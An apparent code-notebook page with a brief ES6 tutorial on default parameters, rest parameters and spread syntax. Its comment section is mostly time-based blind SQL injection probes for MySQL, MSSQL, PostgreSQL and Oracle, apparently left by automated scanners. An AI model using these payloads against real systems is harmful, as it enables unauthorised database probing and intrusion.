ES6 Default, Rest, and Spread

node v0.12.18
version: 1.0.0
endpointsharetweet
ES6 adds default and rest parameters to your functions. Default parameters can replace the old method of having to check whether arguments were passed in, then assigning them if they're missing:
var production = true; // By default, use log. Before we'd have to check argument.length // or whether type was undefined to get the same effect: function DEV_LOG(string, type = "log") { if (!production || type === "error") console[type](string); } // Won't print since in production. DEV_LOG("Status Log"); // Will print since its an error. DEV_LOG("Error Log", "error");
With rest parameters, you can easily treat multiple parameters as if they were part of a list:
function hasAny(array, ...needles) { return needles.some(aNeedle => array.indexOf(aNeedle) !== -1) } hasAny([1,2,3,4,5,6,7], 101, 9, 7)
Spread allows you to do the opposite. Many functions expect all the items to be given as parameters, not one big list (such as Math.max). Spread allows us to "unwind" a list into parameters:
var numbers = [1,2,3,4,5,6,7,8,9,10]; Math.max(...numbers);
Loading…

53 comments

  • posted a year ago by 65374c7ea7ec220008a7bdfb
    I
  • posted a year ago by elmonjo
    I want to go lovely
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+820-820-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+827-827-1=0+0+0+1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+194-194-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+421-421-1=0+0+0+1 or 'Ica3fizv'='
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+173-173-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1zDQ1F3hS'; waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 572=(SELECT 572 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1SMCzNGXv' OR 555=(SELECT 555 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1MO6OYHkP') OR 92=(SELECT 92 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1p7Ulov95')) OR 12=(SELECT 12 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@Dn64w
  • posted 13 hours ago by xsjybldb
    1
  • posted 13 hours ago by xsjybldb
    1
  • posted 13 hours ago by xsjybldb
    -1 OR 2+710-710-1=0+0+0+1 --
  • posted 13 hours ago by xsjybldb
    -1 OR 2+179-179-1=0+0+0+1
  • posted 13 hours ago by xsjybldb
    -1' OR 2+257-257-1=0+0+0+1 --
  • posted 13 hours ago by xsjybldb
    -1' OR 2+507-507-1=0+0+0+1 or 'RwSI87PV'='
  • posted 13 hours ago by xsjybldb
    -1" OR 2+241-241-1=0+0+0+1 --
  • posted 13 hours ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 13 hours ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 13 hours ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 13 hours ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 13 hours ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 13 hours ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 13 hours ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 13 hours ago by xsjybldb
    i8epWMZC'; waitfor delay '0:0:15' --
  • posted 13 hours ago by xsjybldb
    -5 OR 28=(SELECT 28 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    -5) OR 653=(SELECT 653 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    -1)) OR 144=(SELECT 144 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    qBOZDQ4N' OR 57=(SELECT 57 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    KKDAYRjJ') OR 141=(SELECT 141 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    Xnzm0rAU')) OR 52=(SELECT 52 FROM PG_SLEEP(15))--
  • posted 13 hours ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 13 hours ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 13 hours ago by xsjybldb
    1'"
  • posted 13 hours ago by xsjybldb
    @@ESVF9

sign in to comment